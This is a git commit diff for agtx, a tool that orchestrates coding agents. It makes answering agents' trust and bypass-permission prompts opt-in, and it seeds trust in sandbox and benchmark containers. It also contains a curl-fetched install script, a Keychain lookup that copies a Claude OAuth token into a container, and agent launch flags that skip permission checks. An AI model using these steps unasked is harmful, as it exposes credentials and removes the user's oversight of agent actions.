Skip to content

armgit / agtx

Public Imported from GitHub
0

πŸ„πŸΌβ€β™‚οΈ The blackboard for coding agents - agentic development environment for claude code, codex, cursor, opencode, grok and more.

feat: native prompt injection and trust handling (#138)

Fynn Flueggea5a203bc96f5
diff --git a/CLAUDE.md b/CLAUDE.md
index 5382cba..ed3dad3 100644
--- a/CLAUDE.md
+++ b/CLAUDE.md
@@ -64,6 +64,8 @@ src/
β”œβ”€β”€ agent/
β”‚ β”œβ”€β”€ mod.rs # Agent struct, detection, command builders (all derived from spec.rs)
β”‚ β”œβ”€β”€ spec.rs # AgentSpec table β€” one declarative record per agent + kind enums
+β”‚ β”œβ”€β”€ trust.rs # Reads each agent's own workspace-trust store; seeds antigravity's
+β”‚ β”œβ”€β”€ trust_tests.rs # Unit tests for trust.rs (included via #[path])
β”‚ └── operations.rs # AgentOperations/CodingAgent traits (mockable)
β”œβ”€β”€ mcp/
β”‚ β”œβ”€β”€ mod.rs # Re-exports
@@ -195,7 +197,11 @@ Canonical copy always at `.agtx/skills/agtx-plan/SKILL.md`.
Two writers **merge** instead of overwriting, because their file may already be tracked in the repo: grok appends `[mcp_servers.agtx]` to any existing `.grok/config.toml`, and antigravity parses `.agents/mcp_config.json`, inserts `mcpServers.agtx`, and writes it back β€” preserving other servers and top-level sibling keys. (`.agents/` is vendor-neutral, so a project is more likely to ship one.)
-Two agents need an extra trust side-effect to avoid an interactive dialog on first open: Claude gets `.claude/settings.local.json` with `enableAllProjectMcpServers: true`, and Codex gets a `[projects."<worktree>"] trust_level = "trusted"` entry appended to the user's global `~/.codex/config.toml`. Both writes resolve the home directory through `agent_trust_home()`, which honours `AGTX_AGENT_HOME` so the test suite does not append temp-dir trust entries to the real user's config.
+Claude needs an extra side-effect to avoid an interactive dialog on first open: `.claude/settings.local.json` gets `enableAllProjectMcpServers: true` plus `skipDangerousModePermissionPrompt: true`, which is what actually preflights the bypass-permissions warning (see the dialog table).
+
+agtx used to append a `[projects."<worktree>"] trust_level = "trusted"` entry to the user's global `~/.codex/config.toml` here too. **Removed, measured:** codex resolves trust to the *git repository root*, and a worktree under a trusted root both skips the dialog and loads its own `.codex/config.toml` β€” `/mcp` listed agtx with and without the entry. It bought nothing and accumulated one entry per worktree.
+
+`write_skills_to_worktree` also seeds antigravity's `trustedWorkspaces` for the new worktree, when the project root is already trusted there (`agent::trust`). It is the right call site for both worktree creation *and* an agent switch: with a per-phase agent config, the switched-in agent sees the worktree for the first time at switch time. Home-directory lookups go through `agent_trust_home()`, which honours `AGTX_AGENT_HOME` so the test suite never touches the real user's config.
### MCP pre-handshake filter
`agtx mcp-serve` does not hand raw stdio to rmcp. Antigravity probes every stdio server with a custom `server/discover` request *before* `initialize`, and rmcp treats a non-`initialize` first message as fatal (`ExpectedInitializeRequest`) and exits β€” so the follow-up `initialize` hits a closed pipe. `src/mcp/prehandshake.rs` answers pre-handshake requests with JSON-RPC `-32601` and keeps the connection open; once `initialize` is forwarded it is a pass-through. Two background tasks pump real stdin/stdout through in-memory duplex pipes (`filtered_stdio()` in `src/mcp/server.rs`).
@@ -209,7 +215,11 @@ Commands are written once in canonical format (`/ns:command`) and auto-translate
### Sending Skills & Prompts to Agents
Prompt delivery has **two lanes**. Getting this wrong is the usual cause of "the agent started but never got the task".
-**Launch lane β€” the first message of a task's life.** The skill command and prompt are composed by `compose_launch_text()` and handed to the process in **argv**, so the agent starts with the task already in hand: no readiness polling, no window in which a keystroke can be dropped. Gated by `spec::can_launch_with_prompt()`, which requires both an agent whose launch form is *verified* (`AgentSpec::launch_prompt_verified` β€” Claude only today) and a prompt under `MAX_LAUNCH_PROMPT_BYTES` (128 KiB; `execve` counts bytes). Anything else falls through to the mid-session lane. `setup_task_worktree` returns `(target, launched_with_prompt)` and its callers skip the send entirely when true.
+**Launch lane β€” the first message of a task's life.** The skill command and prompt are composed by `compose_launch_text()` and handed to the process in **argv**, so the agent starts with the task already in hand: no readiness polling, no window in which a keystroke can be dropped. Gated by `spec::can_launch_with_prompt()`, which requires both an agent whose launch form is *verified* (`AgentSpec::launch_prompt_verified` β€” all but copilot, which is unmeasured) and a prompt under `MAX_LAUNCH_PROMPT_BYTES` (128 KiB; `execve` counts bytes). Anything else falls through to the mid-session lane.
+
+**An agent switch takes this lane too.** The rule is *whenever agtx starts a new agent process and has a prompt for it, the prompt goes in argv* — a switch is the same act as a first launch, just into an existing window. `spawn_send_to_agent` and the cyclic Review→Planning path compose the launch text and skip the send when it lands; the two resume-style switches carry no prompt. A **same-agent** advance cannot use it: that process is already running, so the typed lane is correct there.
+
+One trap: `create_window` nests its command inside `sh -c '…'`, so a prompt going that way is quoted **twice** (`wrap_launch_command` + `compose_command`). The switch path types a command line into the window's *already-running* shell β€” **one** level. Adding `single_quote` again there would deliver visible backslashes into the composer. A multi-line launch text is sent with `paste_text` + `Enter` rather than `send_keys`, because a newline typed at a shell prompt submits the line. `setup_task_worktree` returns `(target, launched_with_prompt)` and its callers skip the send entirely when true.
Two consequences worth knowing: `resolve_skill_command(collapse: false)` is used here, so `{task}` keeps its paragraphs and lists (the typed path must flatten them); and `spec::normalize_prompt()` strips NUL, `\r` and other control characters that cannot survive argv, keeping `\n` and `\t`.
@@ -237,10 +247,29 @@ Two consequences worth knowing: `resolve_skill_command(collapse: false)` is used
Without `-l`, tmux resolves an argument that matches a key name *as that key*: `"Space"` arrives as `0x20`, `"Escape"` as `ESC`, `"Up"` as `\033[A` (tmux 3.5a). So `send_key` must never carry task-derived text β€” that is what `send_text` is for.
### First-Launch Dialogs
-Agents gate a brand-new directory behind an interactive dialog, and every task gets a brand-new
-worktree β€” so these fire on the *first* launch of nearly every task, not just in containers.
-`LAUNCH_DIALOGS` (`src/tui/app.rs`) is the table of `(patterns, answer)`; `dismiss_launch_dialog`
-answers any that is visible.
+Agents gate a directory they have not seen behind an interactive dialog. `LAUNCH_DIALOGS`
+(`src/tui/app.rs`) is the table, derived from `AgentSpec::dialogs`; `dismiss_launch_dialog` answers
+what it is allowed to.
+
+**These mostly do not fire any more, and by default agtx does not answer the ones that do.**
+Measured per agent (see `src/agent/trust.rs` for the table and the versions):
+
+- **Trust is inherited from the project root** for claude, codex and gemini β€” the default
+ `worktree_dir` is inside the project, so a user who opened the agent there once never sees the
+ prompt again. cursor and grok are launched with `--trust`; opencode has no trust gate.
+- **antigravity is the exception**: it matches trusted paths *exactly*, at any depth. agtx seeds
+ each new worktree into its `trustedWorkspaces` β€” but only when the project root is already there,
+ so it replays a consent the user gave rather than creating one.
+- **`AgentDialog::security` splits the table.** Trust prompts and the bypass-permissions warning are
+ the user's decision: with `auto_trust = false` (the default) agtx *detects* them β€” that is what
+ turns the card `Blocked`, with the reason and the fix β€” and leaves them unanswered. Prompts that
+ decide nothing about safety (codex's update prompt, its MCP tool approval) are answered either
+ way, since leaving them up only wedges the pane.
+- **Nothing is lost by waiting.** An argv-delivered prompt is *queued behind* a dialog, not eaten by
+ it β€” verified for claude, cursor, gemini and antigravity. `wait_for_agent_ready` returns `None`
+ when parked on an unanswered security dialog, so the typed fallback never sends into a menu.
+- `auto_trust = true` restores the historical behaviour, and is set by `docker/entrypoint.sh` and
+ the benchmark, where the container is disposable and nobody is at the board.
Dialogs are declared per agent on `AgentSpec::dialogs` and **matched against the running agent's own entries** β€” a stray digit typed into another agent's live composer is real corruption. An agent with no spec falls back to matching every known dialog, which beats leaving its pane blocked forever.
@@ -248,8 +277,8 @@ Dialogs are declared per agent on `AgentSpec::dialogs` and **matched against the
| Agent | Dialog | Match | Answer | Scope |
|---|---|---|---|---|
-| claude | workspace trust | `Yes, I trust this folder` | `1` `Enter` | Launch β€” per directory, `projects."<dir>".hasTrustDialogAccepted` in `~/.claude.json` |
-| claude | bypass-permissions warning | `Yes, I accept` / `I accept the risk` | `2` `Enter` | Launch β€” the `bypassPermissionsModeAccepted` preflight does **not** reliably suppress it |
+| claude | workspace trust | `Yes, I trust this folder` | `1` `Enter` | Launch β€” `projects."<dir>".hasTrustDialogAccepted` in `~/.claude.json`, **inherited from a trusted ancestor**, so with the default in-project `worktree_dir` this does not fire once the project is trusted |
+| claude | bypass-permissions warning | `Yes, I accept` / `I accept the risk` | `2` `Enter` | Launch β€” suppressed by the `skipDangerousModePermissionPrompt` preflight; backstop only. Options are inverted (`1. No, exit`), so never a lone Enter |
| codex | directory trust | `Do you trust the contents of this directory?` | `1` `Enter` | Launch β€” per directory. Worded unlike Claude's *and* Gemini's, so neither pattern catches it |
| codex | update prompt | `Update now (runs` | `2` `Enter` (Skip) | Launch β€” never "Update now": agtx must not upgrade an agent binary behind the user's back |
| codex | MCP tool approval | `Allow the` + `MCP server to run tool` + `Always allow` | `3` `Enter` | **Session** β€” mid-session, matched only against a codex pane |
@@ -257,7 +286,7 @@ Dialogs are declared per agent on `AgentSpec::dialogs` and **matched against the
| cursor | workspace trust | `Workspace Trust Required` | `a` alone | Launch β€” its question line is *identical* to codex's, so it is matched on the heading. Answered with the access key the dialog advertises, which survives an option being added above the highlighted row |
| antigravity | project trust | `Do you trust the contents of this project?` | `Enter` alone | Launch β€” arrow-navigated with "Yes, I trust this folder" preselected, so a digit would land in the composer. Its own wording, not Claude's; codex's differs by one word (`directory`) |
-`require_all` distinguishes alternatives (several wordings of one prompt) from conjunctions (a prompt identified only by a combination of phrases).
+`require_all` distinguishes alternatives (several wordings of one prompt) from conjunctions (a prompt identified only by a combination of phrases). `security` marks the rows agtx will not answer unless `auto_trust` is on.
It runs in **both** `wait_for_agent_ready` loops *and* the session-refresh loop: the readiness
budget expires after ~60s and a slow agent can render its dialog later than that. A retry only
@@ -377,6 +406,7 @@ Global config lives at `~/.config/agtx/config.toml` (`GlobalConfig`):
default_agent = "claude"
fullscreen_on_enter = false # When true, Enter on a task attaches to tmux directly instead of opening the in-TUI popup
agent_hooks = true # Write agent lifecycle-hook configs into worktrees (see Hook-Based Phase Status)
+auto_trust = false # Answer agents' trust / bypass-permission prompts by reading the pane (see First-Launch Dialogs)
[agents] # Per-phase agent overrides (PhaseAgentsConfig)
research = "claude"
diff --git a/README.md b/README.md
index e02018b..8f10795 100644
--- a/README.md
+++ b/README.md
@@ -105,6 +105,37 @@ cp target/release/agtx ~/.local/bin/
- **tmux** β€” agent sessions run in a dedicated tmux server
- **gh** (optional) β€” GitHub CLI for PR operations
+### First run: trust your project in the agent
+
+Coding agents gate a directory they have not seen behind a trust prompt, and agtx
+gives every task its own git worktree. **Launch your agent once in the project root
+and confirm its prompt** before using agtx there:
+
+```bash
+cd your-project && claude # or codex / gemini β€” confirm the trust prompt, then quit
+```
+
+One time per project. Trust is inherited from the project root, so every worktree
+agtx creates underneath it is covered:
+
+| Agent | First-run prompt |
+|-------|------------------|
+| Claude, Codex, Gemini | trust the project root once β€” worktrees inherit it |
+| Cursor, Grok | none β€” agtx launches them with `--trust` |
+| OpenCode | none |
+| Antigravity | trust the project root once β€” agtx copies that consent to each new worktree, because antigravity matches paths exactly and never inherits |
+
+If a task's agent is waiting on a trust prompt, its card shows **`?`** with the
+reason, and you answer it in the agent's own pane (`↩` to open the task).
+
+> [!NOTE]
+> By default agtx does **not** answer these prompts for you β€” vouching for a
+> directory, or accepting unattended tool execution, is your decision. For
+> unattended runs set `auto_trust = true` in `~/.config/agtx/config.toml` and agtx
+> will read the pane and answer them. It is already enabled inside the
+> [Docker sandbox](#docker-sandbox) and the benchmark, where the container is
+> disposable and nobody is at the board.
+
## Usage
<details>
diff --git a/benchmark/swebench/benchmark.py b/benchmark/swebench/benchmark.py
index cdf9839..edf06fe 100755
--- a/benchmark/swebench/benchmark.py
+++ b/benchmark/swebench/benchmark.py
@@ -602,6 +602,61 @@ def start_docker_container(
return container_id
+def seed_agent_trust(container_id: str, agent: str, *, verbose: bool = False) -> None:
+ """Record /testbed as trusted for `agent`, the way the user would by hand.
+
+ Trust records are **path-keyed**, and the repo lands at /testbed inside the
+ container. Copying the host's ~/.claude.json (below) therefore does *not*
+ prevent the trust dialog: no entry matches that path. Until now the run
+ depended on agtx clearing the dialog by reading the pane, which is no longer
+ the default.
+
+ Deterministic and done up front, because here a stuck dialog costs a whole
+ instance run rather than one task.
+ """
+ py = {
+ "claude": (
+ "import json,os;p='/home/bench/.claude.json';"
+ "d=json.load(open(p)) if os.path.exists(p) else {};"
+ "d.setdefault('projects',{}).setdefault('/testbed',{})"
+ "['hasTrustDialogAccepted']=True;"
+ "json.dump(d,open(p,'w'))"
+ ),
+ "codex": (
+ "import os;p='/home/bench/.codex/config.toml';"
+ "os.makedirs(os.path.dirname(p),exist_ok=True);"
+ "s=open(p).read() if os.path.exists(p) else '';"
+ "s+='\\n[projects.\"/testbed\"]\\ntrust_level = \"trusted\"\\n' "
+ "if '[projects.\"/testbed\"]' not in s else '';"
+ "open(p,'w').write(s)"
+ ),
+ "gemini": (
+ "import json,os;p='/home/bench/.gemini/trustedFolders.json';"
+ "os.makedirs(os.path.dirname(p),exist_ok=True);"
+ "d=json.load(open(p)) if os.path.exists(p) else {};"
+ "d['/testbed']='TRUST_FOLDER';json.dump(d,open(p,'w'))"
+ ),
+ "antigravity": (
+ "import json,os;p='/home/bench/.gemini/antigravity-cli/settings.json';"
+ "os.makedirs(os.path.dirname(p),exist_ok=True);"
+ "d=json.load(open(p)) if os.path.exists(p) else {};"
+ "w=d.setdefault('trustedWorkspaces',[]);"
+ "w.append('/testbed') if '/testbed' not in w else None;"
+ "json.dump(d,open(p,'w'))"
+ ),
+ }.get(agent)
+ # cursor and grok pass --trust at launch; opencode has no trust gate; copilot
+ # is unmeasured. Nothing to seed, and nothing to guess at.
+ if py is None:
+ return
+ if verbose:
+ print(f" [docker] Seeding {agent} trust for /testbed...", file=sys.stderr)
+ subprocess.run(
+ ["docker", "exec", container_id, "python3", "-c", py],
+ check=False, capture_output=not verbose,
+ )
+
+
def setup_container(
container_id: str, config_path: Path, base_commit: str, verbose: bool = False,
tools_container_id: str | None = None,
@@ -711,6 +766,8 @@ def setup_container(
check=True, capture_output=not verbose,
)
+ seed_agent_trust(container_id, default_agent, verbose=verbose)
+
# Copy extra directories into the container (e.g. third-party plugin skill dirs).
for src, dst in (extra_dirs or []):
if not src.exists():
@@ -762,8 +819,14 @@ def setup_container(
capture_output=not verbose,
)
- # Write global agtx config for bench user so the TUI skips the agent-selection wizard
- global_config_content = f'default_agent = "{default_agent}"\n'
+ # Write global agtx config for bench user so the TUI skips the agent-selection wizard.
+ #
+ # `auto_trust = true` because a benchmark container has no human at the board.
+ # agtx's default is off β€” a trust prompt surfaces as a Blocked card and waits
+ # for a person β€” which here would stall the instance until its timeout. Same
+ # reasoning as docker/entrypoint.sh: disposable container, nothing in it but
+ # the repo under test.
+ global_config_content = f'default_agent = "{default_agent}"\nauto_trust = true\n'
if verbose:
print(f" [docker] Writing global agtx config (default_agent={default_agent})...", file=sys.stderr)
subprocess.run(
diff --git a/docker/Dockerfile b/docker/Dockerfile
index 7426734..7e27922 100644
--- a/docker/Dockerfile
+++ b/docker/Dockerfile
@@ -21,9 +21,14 @@ RUN curl -fsSL https://raw.githubusercontent.com/fynnfluegge/agtx/main/install.s
# Non-root user β€” UID/GID match the host user so bind-mounted files stay correctly owned
ARG UID=1000
ARG GID=1000
+# `groupadd -g` fails (exit 4) when the GID is already taken, which it is for
+# every macOS user: `id -g` is 20 there, and GID 20 is `dialout` in Ubuntu 24.04.
+# Reuse whatever group already owns the GID instead β€” the point is only that
+# bind-mounted files come out owned by the host user, and the group's *name* is
+# irrelevant to that.
RUN userdel -r ubuntu 2>/dev/null || true && \
groupdel ubuntu 2>/dev/null || true && \
- groupadd -g "${GID}" sandbox && \
+ groupadd -g "${GID}" sandbox 2>/dev/null || true && \
useradd -m -u "${UID}" -g "${GID}" -s /bin/bash sandbox
COPY --chown=root:root entrypoint.sh /usr/local/bin/entrypoint.sh
diff --git a/docker/entrypoint.sh b/docker/entrypoint.sh
index 4a7b21f..b5df911 100755
--- a/docker/entrypoint.sh
+++ b/docker/entrypoint.sh
@@ -8,6 +8,53 @@ if [ -d /claude-host ]; then
cp -rp /claude-host/. /home/sandbox/.claude/ 2>/dev/null || true
fi
+# Copy the host's ~/.claude.json snapshot: onboarding state (so Claude does not
+# open on its theme picker) plus the per-directory trust map. Mounted read-only,
+# copied so the container can write to it.
+if [ -f /claude-host.json ]; then
+ cp /claude-host.json /home/sandbox/.claude.json 2>/dev/null || true
+ chmod u+w /home/sandbox/.claude.json 2>/dev/null || true
+fi
+
+# Trust the workspace for Claude. Trust records are path-keyed and the project is
+# mounted at a path the host never used, so the copied map above never matches it.
+# Appropriate here for the same reason as the bypass pre-accept: an isolated,
+# disposable container holding nothing but the project.
+node -e "
+ const fs = require('fs');
+ const p = '/home/sandbox/.claude.json';
+ let d = {};
+ try { d = JSON.parse(fs.readFileSync(p, 'utf8')); } catch (e) {}
+ d.projects = d.projects || {};
+ d.projects['/home/sandbox/workspace'] = d.projects['/home/sandbox/workspace'] || {};
+ d.projects['/home/sandbox/workspace'].hasTrustDialogAccepted = true;
+ fs.writeFileSync(p, JSON.stringify(d, null, 2));
+"
+
+# Drop empty auth keys from the copied settings.json. That `env` block outranks
+# process env, so an `ANTHROPIC_AUTH_TOKEN: ""` left over from a proxy setup
+# shadows *both* the Keychain credentials planted above and a real
+# ANTHROPIC_API_KEY β€” and the agent reports "Not logged in" with valid auth
+# available. The host file is untouched; only the container's copy is edited.
+settings_env=/home/sandbox/.claude/settings.json
+if [ -f "$settings_env" ]; then
+ node -e "
+ const fs = require('fs');
+ const p = '$settings_env';
+ let d;
+ try { d = JSON.parse(fs.readFileSync(p, 'utf8')); } catch (e) { process.exit(0); }
+ const env = d.env;
+ if (env && typeof env === 'object') {
+ const dropped = Object.keys(env).filter((k) => env[k] === '');
+ for (const k of dropped) delete env[k];
+ if (dropped.length) {
+ fs.writeFileSync(p, JSON.stringify(d, null, 2));
+ console.log('dropped empty env keys: ' + dropped.join(', '));
+ }
+ }
+ "
+fi
+
# Pre-accept the bypass permissions prompt β€” appropriate because we are inside
# an isolated container with no access to the host filesystem beyond the
# project directory.
@@ -23,4 +70,16 @@ else
echo '{"skipDangerousModePermissionPrompt":true}' > "$settings"
fi
+# agtx no longer answers trust prompts by reading the pane (`auto_trust`, default
+# off), so inside the sandbox it is turned on explicitly. Same reasoning as the
+# bypass pre-accept above: the container is disposable, holds nothing but the
+# project, and there is no human at the board to answer a prompt.
+mkdir -p /home/sandbox/.config/agtx
+agtx_config=/home/sandbox/.config/agtx/config.toml
+if [ -f "$agtx_config" ]; then
+ grep -q '^auto_trust' "$agtx_config" || echo 'auto_trust = true' >> "$agtx_config"
+else
+ echo 'auto_trust = true' > "$agtx_config"
+fi
+
exec "$@"
diff --git a/docker/sandbox.sh b/docker/sandbox.sh
index 9219c0f..b4988d1 100755
--- a/docker/sandbox.sh
+++ b/docker/sandbox.sh
@@ -63,8 +63,35 @@ docker build -q \
success "Image ready"
echo ""
-# agtx state lives in named volumes β€” isolated from the host, persists across runs
-exec docker run --rm -it \
+# `~/.claude.json` carries onboarding state (theme choice, `hasCompletedOnboarding`)
+# and the per-directory trust map β€” none of which live in `~/.claude`. Without it a
+# fresh sandbox opens on Claude's theme picker and never reaches the prompt. The
+# benchmark has always copied it; the sandbox did not.
+CLAUDE_JSON_MOUNT=""
+if [ -f "${HOME}/.claude.json" ]; then
+ CLAUDE_JSON_MOUNT="-v ${HOME}/.claude.json:/claude-host.json:ro"
+fi
+
+# On macOS the Claude OAuth token lives in the Keychain, not in `~/.claude`, so
+# copying that directory leaves the container on "Not logged in Β· Please run
+# /login". Materialise the same `.credentials.json` Claude Code writes on Linux.
+#
+# The secret is piped through stdin: never written to a host temp file, and never
+# placed in argv where `ps` would expose it. Same approach the benchmark uses.
+CLAUDE_CREDS=""
+if [ "$(uname -s)" = "Darwin" ] && [ ! -f "${HOME}/.claude/.credentials.json" ]; then
+ CLAUDE_CREDS="$(security find-generic-password -s 'Claude Code-credentials' -w 2>/dev/null || true)"
+ if [ -z "$CLAUDE_CREDS" ]; then
+ info "No Claude credentials found β€” the Keychain lookup failed (you may need"
+ info "to allow access when prompted). Set ANTHROPIC_API_KEY, or the agent"
+ info "inside the sandbox will report 'Not logged in'."
+ fi
+fi
+
+# Started detached so the credential can be planted before any agent launches,
+# then attached so the TUI behaves exactly as before. `--rm` still cleans up on
+# exit, and `docker attach` returns the container's exit code.
+CID=$(docker run -d -it --rm \
--security-opt no-new-privileges:true \
--cap-drop ALL \
--cap-add CHOWN \
@@ -75,6 +102,15 @@ exec docker run --rm -it \
-v agtx-data:/home/sandbox/.local/share/agtx \
-v agtx-config:/home/sandbox/.config/agtx \
-v "${HOME}/.claude:/claude-host:ro" \
+ ${CLAUDE_JSON_MOUNT} \
-w /home/sandbox/workspace \
agtx-sandbox \
- agtx /home/sandbox/workspace
+ agtx /home/sandbox/workspace)
+
+if [ -n "$CLAUDE_CREDS" ]; then
+ printf '%s' "$CLAUDE_CREDS" | docker exec -i "$CID" \
+ /bin/bash -c 'umask 077 && cat > /home/sandbox/.claude/.credentials.json'
+ unset CLAUDE_CREDS
+fi
+
+exec docker attach "$CID"
diff --git a/src/agent/mod.rs b/src/agent/mod.rs
index 3e94596..fabea94 100644
--- a/src/agent/mod.rs
+++ b/src/agent/mod.rs
@@ -1,6 +1,7 @@
pub mod hook_status;
mod operations;
pub mod spec;
+pub mod trust;
pub use operations::{AgentOperations, AgentRegistry, CodingAgent, RealAgentRegistry};
pub use spec::{
diff --git a/src/agent/spec.rs b/src/agent/spec.rs
index c523645..1d84be1 100644
--- a/src/agent/spec.rs
+++ b/src/agent/spec.rs
@@ -83,6 +83,15 @@ pub enum DialogScope {
pub struct AgentDialog {
/// Text to look for in the pane. Combined per [`require_all`](Self::require_all).
pub patterns: &'static [&'static str],
+ /// Whether answering this is a **security decision** rather than a nuisance.
+ ///
+ /// A trust prompt asks the user to vouch for a directory's contents; a
+ /// permission-bypass warning asks them to accept unattended tool execution.
+ /// Those are the user's to make, and `auto_trust = false` (the default) stops
+ /// agtx answering them β€” the task is surfaced as `Blocked` instead. Prompts
+ /// that decide nothing about safety (codex's "an update is available") stay
+ /// answered either way, because leaving them up only wedges the pane.
+ pub security: bool,
/// When false the patterns are **alternatives**: any one matching is enough,
/// which is how a dialog whose wording varies between versions is caught.
/// When true they are a **conjunction**: all must be present, for a prompt
@@ -171,6 +180,21 @@ pub struct AgentSpec {
pub binary: &'static str,
pub description: &'static str,
pub co_author: &'static str,
+ /// Environment variables that carry a provider API key for this agent, most
+ /// preferred first.
+ ///
+ /// This is the **headless** credential: the auth mode that works with no
+ /// browser and no keychain, which is the only kind a CI runner can use. It is
+ /// not how agtx authenticates anything β€” agtx never reads these β€” it is the
+ /// per-agent fact that the smoke harness and the CI workflow both need, kept
+ /// here so there is one copy rather than three. The trust stores went the
+ /// other way and ended up duplicated in `trust.rs`, `agent_smoke.py` and
+ /// `benchmark.py`; this is that lesson applied.
+ ///
+ /// Empty means *no verified headless credential*, which is a real answer:
+ /// such an agent cannot run unattended in CI at all. It must not be confused
+ /// with "not looked into yet" β€” see each entry's comment.
+ pub api_key_env: &'static [&'static str],
// ── launching ────────────────────────────────────────────────────────
/// Environment assignments prefixed to the interactive launch command.
@@ -253,6 +277,9 @@ pub const AGENT_SPECS: &[AgentSpec] = &[
binary: "claude",
description: "Anthropic's Claude Code CLI",
co_author: "Claude <[email protected]>",
+ // `claude --help`: API-key users authenticate "strictly
+ // ANTHROPIC_API_KEY or apiKeyHelper". Verified 2.1.246.
+ api_key_env: &["ANTHROPIC_API_KEY"],
env: &[],
base_args: &["--dangerously-skip-permissions"],
prompt_form: PromptForm::Argv,
@@ -275,23 +302,56 @@ pub const AGENT_SPECS: &[AgentSpec] = &[
send_strategy: SendStrategy::Generic,
clear_context_command: Some("/clear"),
dialogs: &[
- // Workspace trust, shown before the bypass warning in any directory
- // Claude has not seen. Recorded per directory as
- // `projects."<dir>".hasTrustDialogAccepted` in ~/.claude.json, and
- // every task gets a new worktree β€” so this fires on the first launch
- // of nearly every Claude task, not just in containers.
+ // Workspace trust, shown before the bypass warning in a directory
+ // with no trusted ancestor. Recorded as
+ // `projects."<dir>".hasTrustDialogAccepted` in ~/.claude.json.
+ //
+ // Trust is **inherited from a parent directory**. Verified against
+ // claude 2.1.246: a fresh `git worktree add` under an already-trusted
+ // project opened straight at the composer β€” no dialog, and no new
+ // `projects` entry for the worktree path β€” while a fresh `git init`
+ // repo with no trusted ancestor showed the dialog under the same
+ // launch flags and the same timing. So with the default
+ // `worktree_dir` (`.agtx/worktrees`, inside the project root) this
+ // does *not* fire once the user has trusted the project once.
+ //
+ // It still fires wherever a worktree has no trusted ancestor: a
+ // `worktree_dir` pointing outside the project, the smoke runner's
+ // temp repos, and the swebench containers (~/.claude.json is copied
+ // in, but the repo lands at a different path). Treat it as a
+ // container/edge-case handler, not the common path.
+ //
+ // Contrast antigravity, where trust is per-directory and is *not*
+ // inherited (also verified). Do not generalise one agent's rule to
+ // another β€” this comment previously did, and was wrong.
AgentDialog {
patterns: &["Yes, I trust this folder"],
+ security: true,
require_all: false,
answer: &["1", "Enter"],
scope: DialogScope::Launch,
},
- // `--dangerously-skip-permissions` acceptance. Not covered by
- // hasTrustDialogAccepted, so copying ~/.claude.json (as the swebench
- // harness does) does not suppress it.
+ // `--dangerously-skip-permissions` acceptance, shown right after the
+ // trust dialog. Not covered by `hasTrustDialogAccepted` β€” verified
+ // against claude 2.1.246 by pre-seeding that record for the exact
+ // directory: the trust dialog was skipped and this one still
+ // rendered. So copying ~/.claude.json (as the swebench harness does)
+ // cannot suppress it.
+ //
+ // What does suppress it is the `skipDangerousModePermissionPrompt`
+ // *settings* key, which `write_skills_to_worktree` now writes into
+ // each worktree's `.claude/settings.local.json`. This arm stays as
+ // the backstop for wherever that file does not reach the agent.
+ //
+ // Note the option order is inverted relative to the trust dialog:
+ // `1. No, exit` / `2. Yes, I accept`. A bare Enter on the default
+ // quits the agent β€” which is exactly what happened when a stray
+ // Enter reached it during testing. Hence `2` then `Enter`, never a
+ // lone Enter.
AgentDialog {
// Alternatives: the wording has varied across Claude versions.
patterns: &["Yes, I accept", "I accept the risk"],
+ security: true,
require_all: false,
answer: &["2", "Enter"],
scope: DialogScope::Launch,
@@ -303,6 +363,11 @@ pub const AGENT_SPECS: &[AgentSpec] = &[
binary: "codex",
description: "OpenAI's Codex CLI",
co_author: "Codex <[email protected]>",
+ // Both names are present in the 0.144.5 binary; OPENAI_API_KEY is the
+ // documented one. Note codex otherwise authenticates from
+ // ~/.codex/auth.json, which a runner has no way to produce β€” the env var
+ // is the only headless path.
+ api_key_env: &["OPENAI_API_KEY", "CODEX_API_KEY"],
env: &[],
base_args: &["--sandbox", "workspace-write"],
prompt_form: PromptForm::Argv,
@@ -333,6 +398,7 @@ pub const AGENT_SPECS: &[AgentSpec] = &[
// codex-cli 0.144.5.
AgentDialog {
patterns: &["Do you trust the contents of this directory?"],
+ security: true,
require_all: false,
answer: &["1", "Enter"],
scope: DialogScope::Launch,
@@ -342,6 +408,7 @@ pub const AGENT_SPECS: &[AgentSpec] = &[
// binary behind their back, but leaving the pane blocked is worse.
AgentDialog {
patterns: &["Update now (runs"],
+ security: false,
require_all: false,
answer: &["2", "Enter"],
scope: DialogScope::Launch,
@@ -352,6 +419,7 @@ pub const AGENT_SPECS: &[AgentSpec] = &[
AgentDialog {
// A conjunction: none of these three is distinctive alone.
patterns: &["Allow the", "MCP server to run tool", "Always allow"],
+ security: false,
require_all: true,
answer: &["3", "Enter"],
scope: DialogScope::Session,
@@ -363,6 +431,11 @@ pub const AGENT_SPECS: &[AgentSpec] = &[
binary: "copilot",
description: "GitHub Copilot CLI",
co_author: "GitHub Copilot <[email protected]>",
+ // Unverified: copilot is not installed on any machine this has been
+ // measured on. Empty here means "unknown", not "none" β€” the only entry
+ // where those differ, and the reason not to guess at a plausible
+ // GH_TOKEN. Fill it in from the real binary, not from documentation.
+ api_key_env: &[],
env: &[],
base_args: &["--allow-all-tools"],
// `-i` keeps the session interactive; `-p` is print mode and exits on
@@ -394,10 +467,24 @@ pub const AGENT_SPECS: &[AgentSpec] = &[
binary: "gemini",
description: "Google Gemini CLI",
co_author: "Gemini <[email protected]>",
+ // Both documented in the gemini-cli README, 0.46.0.
+ api_key_env: &["GEMINI_API_KEY", "GOOGLE_API_KEY"],
+ // Kept, but it does **not** suppress the folder-trust dialog β€” verified
+ // against gemini 0.46.0: the dialog rendered with this set. Gemini's real
+ // trust store is `~/.gemini/trustedFolders.json`, a map of
+ // path -> "TRUST_FOLDER" with **lowercased** paths and ancestor
+ // semantics (`/users/fynn` covers everything beneath), which is why gemini
+ // inherits a trusted project root and why its dialog offers "Trust parent
+ // folder". The variable is left in place because it is untested for the
+ // *other* things it may gate; the comment no longer claims it does this one.
env: &[("GEMINI_TRUST_WORKSPACE", "true")],
base_args: &["--approval-mode", "yolo"],
prompt_form: PromptForm::Flag("-i"),
- launch_prompt_verified: false,
+ // Verified against gemini 0.46.0: `gemini … -i '<prompt>'` delivers the
+ // prompt and continues interactively. It also survives the process restart
+ // that answering the folder-trust dialog triggers β€” the prompt still
+ // reached the model afterwards.
+ launch_prompt_verified: true,
resume: ResumeArgs::Append(&["--resume"]),
headless_args: &["-p"],
skill_dir: Some((".gemini/commands", "agtx")),
@@ -416,6 +503,7 @@ pub const AGENT_SPECS: &[AgentSpec] = &[
// Answering this restarts the process.
AgentDialog {
patterns: &["Do you trust the files in this folder?"],
+ security: true,
require_all: false,
answer: &["1", "Enter"],
scope: DialogScope::Launch,
@@ -427,10 +515,23 @@ pub const AGENT_SPECS: &[AgentSpec] = &[
binary: "opencode",
